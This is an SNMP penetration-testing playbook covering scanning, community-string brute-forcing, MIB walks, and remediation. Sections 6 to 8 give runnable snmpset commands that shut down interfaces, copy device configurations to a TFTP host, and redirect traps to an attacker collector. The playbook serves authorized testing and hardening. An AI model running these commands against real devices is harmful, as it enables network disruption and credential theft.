

SNMP Penetration Test

Target / Scope: `target.com` / `X.X.X.X` (SNMP service)

Service: SNMP (Simple Network Management Protocol) — Default UDP ports **161** (queries) and **162** (traps)

Date: 2025-10-25

1. Executive Summary

This document is a practical penetration testing playbook for assessing SNMP-enabled devices and services. It covers discovery, enumeration, common misconfigurations (public community strings, read-write communities), attack vectors (information disclosure, device modification, config exfiltration), post-exploitation (network mapping, persistence), evidence collection, and remediation guidance.

Key takeaways:

- SNMPv1/v2c use community strings and are frequently left with default/weak values such as `public` / `private` causing major information leakage.
 - SNMP can disclose device configs, user lists, routing/ARP tables, and allow config changes when write access is available.
 - SNMPv3 offers authentication and encryption; where unavailable, prioritize migration to SNMPv3 and restrict access.
-

2. Rules of Engagement & Legal

- **Authorization:** Only test devices with explicit written permission. Define IP ranges, device classes (routers, switches, printers), allowed actions (read-only vs write tests), and blast-radius limits.
- **Non-destructive testing:** Avoid destructive OIDs or configuration changes unless explicitly authorized. Many SNMP write actions can disrupt networks.

- **Evidence handling:** Collect outputs with timestamps, sanitize sensitive values, and encrypt evidence stores.

Pre-test checklist:

- Signed authorization and allowed OIDs for write-type tests.
 - Emergency contact & rollback plan.
 - Test windows and maintenance notices to ops teams.
-

3. Reconnaissance & Service Discovery

```
# UDP port scan for SNMP (use rate limiting)
nmap -sU -p 161 --script snmp-info <target>
```

```
# Discover devices responding to SNMP (network range)
onesixtyone -c community_list.txt 192.168.1.0/24
```

```
# Check RPC-like services that may indicate device type
nmap -sU -p 161,162 192.168.1.0/24
```

Use conservative timing options for UDP scans (`-sU --min-rate` adjustments) to avoid dropping packets or triggering devices.

4. Enumeration (Read-only)

4.1 Community String Discovery

```
# Try default/known communities with onesixtyone
onesixtyone -c /path/to/communities.txt <target>
```

```
# Nmap brute-force script for community strings
nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesd
b=communities.txt <target>
```

```
# Metasploit
```

```
use auxiliary/scanner/snmp/snmp_login
set RHOSTS <target>
set PASS_FILE /path/to/communities.txt
run
```

Common community strings: `public` , `private` , `public1` , `community` , `admin` , `manager` .

4.2 Walk the MIB

```
# Walk entire OID tree (v2c example)
snmpwalk -v2c -c public <target> .1

# Walk specific OIDs
snmpwalk -v2c -c public <target> .1.3.6.1.2.1.1.0 # sysDescr
snmpwalk -v2c -c public <target> .1.3.6.1.2.1.2.2.1.2 # ifDescr (interfaces)
snmpwalk -v2c -c public <target> .1.3.6.1.4.1.9 # Cisco enterprise MIBs

# Human-friendly enumeration
snmp-check -t <target> -c public
```

4.3 Targeted SNMPGETs

```
# Get single OID values
snmpget -v2c -c public <target> .1.3.6.1.2.1.1.5.0 # sysName
snmpget -v2c -c public <target> .1.3.6.1.2.1.1.3.0 # sysUpTime
```

5. Information Disclosure (Useful OIDs)

- `1.3.6.1.2.1` — system (sysDescr, sysUpTime, sysContact, sysName)
- `1.3.6.1.2.1.2` — interfaces (ifDescr, ifType, ifMtu, ifSpeed)
- `1.3.6.1.2.1.4` — IP (ipAddrTable, ipRouteTable)
- `1.3.6.1.2.1.16` / `1.3.6.1.4.1` — vendor-specific enterprise MIBs (e.g., Cisco: `1.3.6.1.4.1.9`)

- `1.3.6.1.4.1.771.2.25` — Windows storage/users via host resources
 - `1.3.6.1.4.1.9.9.96` — Cisco config copy and TFTP related OIDs (use carefully)
-

6. Attack Vectors & Exploitation

6.1 Default/Weak Community Strings

```
# Read-only discovery
snmpwalk -v2c -c public <target> .1

# Write-access discovery (try common RW string 'private')
snmpwalk -v2c -c private <target> .1
```

Impact: Using default strings yields hostnames, interface lists, routing tables, ARP caches, and sometimes usernames or service details.

6.2 SNMP Write Exploitation (High Risk: Do not run without authorization)

```
# Change system name (example)
snmpset -v2c -c private <target> .1.3.6.1.2.1.1.5.0 s "CompromisedDevice"

# Shutdown interface (example: set ifAdminStatus to 2)
snmpset -v2c -c private <target> .1.3.6.1.2.1.2.2.1.7.<index> i 2
```

Impact: Alter routing, disable interfaces, change configs, or set trap destinations to attacker collectors.

6.3 Configuration Exfiltration (Cisco example)

```
# Using SNMP OIDs to configure device to copy running-config to TFTP
# (Example OIDs — vendor-specific; test only when authorized)
# Set TFTP server IP, filename, copy type and initiate copy via snmpset
```

```
snmpset -v2c -c private <target> <OID_for_tftp_server> a "10.0.0.5"  
# ... set filename and start copy
```

Impact: Full device configurations (including credentials, SNMP community strings, and access lists) can be exfiltrated.

7. Post-Exploitation — Mapping & Lateral Discovery

```
# Pull IP addresses and ARP tables for network mapping  
snmpwalk -v2c -c public <target> .1.3.6.1.2.1.4.20.1.1 # ipAdEntAddr  
snmpwalk -v2c -c public <target> .1.3.6.1.2.1.4.22.1.3 # ipNetToMediaPhysAdd  
ress (ARP)  
  
# Interface statuses and descriptions  
snmpwalk -v2c -c public <target> .1.3.6.1.2.1.2.2.1.8  
  
# CDP/LLDP neighbors (Cisco/others)  
snmpwalk -v2c -c public <target> .1.3.6.1.4.1.9.9.23 # Cisco discovery MIBs
```

Use gathered network mappings to identify additional targets and pivot opportunities.

8. Persistence & Trap Abuse

```
# Change SNMP trap destination to attacker collector  
snmpset -v2c -c private <target> <OID_trap_dst> s "10.0.0.5"
```

Impact: Device can send status updates or sensitive traps to attacker-controlled systems for covert monitoring.

9. Detection & Evidence Collection

9.1 Evidence to Collect

- `snmpwalk` and `snmpget` outputs with timestamps.

- Nmap `snmp-*` script outputs.
- Hashes of retrieved configuration files or sensitive outputs.
- Screenshots or saved terminal logs (sanitized).

9.2 Example Evidence Commands

```
date --iso-8601=seconds > evidence_timestamp.txt
snmpwalk -v2c -c public <target> .1 > evidence_snmpwalk_public.txt
snmpget -v2c -c public <target> .1.3.6.1.2.1.1.5.0 > evidence_sysname.txt
nmap -sU -p 161 --script snmp-info,snmp-interfaces,snmp-netstat <target> -oN evidence_nmap_snmp.txt
```

10. Risk Assessment & Severity Guidance

- **Critical:** Read-write community discovered on a router/firewall/switch; ability to change routing or push configs.
- **High:** `public` or similar community exposes ARP, routing tables, and sensitive hostnames/labels.
- **Medium:** SNMP accessible only to limited management network but with weak communities.
- **Low:** Banner or limited OID disclosure only.

11. Remediation & Hardening Recommendations

Immediate:

- Disable SNMPv1/v2c where possible; restrict SNMP to management VLANs and trusted IPs.
- Replace default community strings (`public` / `private`) with strong, unique values.
- Apply ACLs on devices to limit which IPs can query SNMP.
- Disable write communities unless absolutely needed; rotate community strings.

Strategic:

- Migrate to SNMPv3 with authentication (authNoPriv/authPriv) and encryption.
 - Monitor SNMP queries and trap destinations in SIEM and alert on anomalous OIDs or frequent walks.
 - Harden device management interfaces and separate management plane from user networks.
 - Regularly audit device MIBs and community string usage.
-

12. Tools & Quick Command Reference

Tools: `snmpwalk` , `snmpget` , `snmpset` , `snmp-check` , `onesixtyone` , `nmap --script snmp-*` , `snmpenum` , `Metasploit (snmp_login, snmp_enum)` , `snmpwn` .

Quick commands summary:

Discovery

```
nmap -sU -p 161 --script snmp-info <target>
onesixtyone -c communities.txt 192.168.1.0/24
```

Walk MIB

```
snmpwalk -v2c -c public <target> .1
```

Get specific OID

```
snmpget -v2c -c public <target> .1.3.6.1.2.1.1.5.0
```

Set value (write; authorized only)

```
snmpset -v2c -c private <target> .1.3.6.1.2.1.1.5.0 s "NewName"
```

Nmap enumeration scripts

```
nmap -sU -p 161 --script snmp-sysdescr,snmp-interfaces,snmp-netstat <target>
```

13. Practical Testing Checklist

1. Confirm authorization & allowed OIDs for write tests.
 2. Scan for SNMP-enabled devices (UDP 161) with conservative timing.
 3. Attempt community discovery using safe wordlists.
 4. Perform read-only `snmpwalk` and targeted `snmpget` to collect system, interface, routing, and neighbor data.
 5. Map network topology and identify additional targets.
 6. Only if authorized, test limited write OIDs to demonstrate impact; always have rollback steps.
 7. Collect evidence and sanitize sensitive information.
 8. Provide remediation guidance and retest after fixes.
-

14. Reporting Snippets & Examples

Sample finding:

- **Title:** Default SNMP community `public` exposed on core router
 - **Severity:** High
 - **Affected Host:** `router1.example.com (X.X.X.X)`
 - **Finding:** SNMP v2c with community `public` allowed full MIB walk. ARP, routing tables and interface details were exposed.
 - **Proof:** `snmpwalk -v2c -c public X.X.X.X .1` output included `ipNetToMediaPhysAddress` and `ipRouteTable` entries.
 - **Impact:** Attacker can enumerate network topology and internal hosts; risk of lateral movement and targeted attacks.
 - **Recommendation:** Restrict SNMP access, change community strings, and migrate to SNMPv3.
-